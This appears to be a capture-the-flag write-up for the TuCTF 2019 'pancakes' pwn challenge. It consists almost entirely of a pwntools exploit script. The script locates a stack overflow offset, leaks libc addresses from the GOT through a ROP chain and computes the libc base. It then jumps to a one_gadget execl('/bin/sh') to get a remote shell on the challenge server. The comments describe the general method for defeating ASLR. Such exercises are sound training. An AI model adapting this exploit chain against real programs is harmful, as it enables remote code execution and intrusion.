Tags: libc_database memoryleak libc pwn 

Rating: 1.0

from pwn import *
from struct import pack

##########################################################################
# My approach to Binary Exploitation on ASLR Enabled systems.
# DOWNLOAD PWNTOOLS TO RUN!
# TO FIND LIBC VERSION, use https://libc.blukat.me/
##########################################################################

nops = b'\x90'
padding = b'\x00'

clean = lambda x: x.split('\n')[1:-2]
pad = lambda x: x + padding*(4-len(x))

##########################################################################
# Load Binaries and Respective libc
#
# To Find the Libc version, make ROP chain to print address of libc
# functions, which are stored in GOT table as values of pointers.
# Just pass the address of pointer to RDI through pop rdi; ret
# And call puts function.
# TO FIND LIBC VERSION, use https://libc.blukat.me/
##########################################################################

elf = ELF('./pancakes')
context.binary = './pancakes'
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")
##########################################################################
# Find Offset
##########################################################################

r = elf.process()
crash = cyclic(1024)
r.sendline(crash)
r.wait()
core = r.corefile
esp = core.esp
offset = core.read(esp, 4)
offset = cyclic_find(offset)
success("Offset found @ {a} bytes".format(a=offset))

##########################################################################
# Generate Initial Payload to Leak memory
##########################################################################

### Find manually
crashOffset = offset

### 0x7fffffffd7e8 is just some random value in stack space, just so RBP is valid
junk = nops*(crashOffset - (4)) # Override RBP

nullbytes = p32(0)

### elf.symbols contains addresses of functions (and stubs as here)
putsret = p32(elf.symbols['puts'])
readsret = p32(elf.symbols['read'])
mainret = p32(elf.symbols['main'])
printfret = p32(elf.symbols['printf'])

puts_offset = p32(elf.got['puts'])
read_offset = p32(elf.got['read'])

printf = p32(0x80492e9)
ts = p32(0x804a008)

##########################################################################
# Demo ==>
##########################################################################

# r = elf.process()
r = remote('chal.tuctf.com', 30503)
# gdb.attach(r.pid, """c""")

print(r.readline())
r.clean()

### This Payload prints puts and read addressed and calls main function again

# Address of puts
code = p32(0xdeadbeef) + putsret + mainret + puts_offset + ts# + + ts #ts
payload = nops*(offset - 8) + code

r.sendline(payload)
r.readline()
puts_leak = u32(pad(r.readline()[:4])) & 0xffffffff
print("puts: ", hex(puts_leak))
r.clean()

# Address of read
code = p32(0xdeadbeef) + putsret + mainret + read_offset + ts# + + ts #ts
payload = nops*(offset - 8) + code

r.sendline(payload)
r.readline()
read_leak = u32(pad(r.readline()[:4])) & 0xffffffff
print("read: ", hex(read_leak))
r.clean()

##########################################################################
# Compute Libc Base address from leaked addresses
##########################################################################

# This LIBC comes from LIBC-database, Search how to use it online!
libc = ELF('/home/ashishkumarsingh/HackingTools/libc-database/db/libc6_2.27-3ubuntu1_i386.so')#ELF("/lib/x86_64-linux-gnu/libc-2.30.so")

puts_libcoffset = libc.symbols['puts']
libc_base = puts_leak - puts_libcoffset
# This address must be 0x1000 aligned, if not, its Probably wrong!
print("libc base: ", hex(libc_base))
if(libc_base & 0x0000000000000fff):
print("ALERT! Program is probably using different libc than specified! \
USE THE LAST 3 DIGITS OF LEAKED ADDRESSES TO GET LIBC VERSION \
USING LIBC-DATABASE! Then Substitute the address of libc above!")

##########################################################################
# Now Actual Exploitation!
# Use libc base address to generate address of a one gadget!
# use one_gadget to find one gadgets
##########################################################################

# sys_offset = p32(0x45390 + libc_base)

# 0x67a7f execl("/bin/sh", eax)
# constraints:
# esi is the GOT address of libc
# eax == NULL

one_gadget = p32( 0x67a7f + libc_base) # from one_gadget

code = p32(0xdeadbeef) + one_gadget + mainret + ts# + + ts #ts
payload = nops*(offset - 8) + code

r.clean()

r.sendline(payload)
r.readline()
# Get Interactive shell
r.interactive()

Original writeup (https://github.com/AshishKumar4/CTF_Writeups/blob/master/TuCTF_2019/PWN/pancake/exploit.py).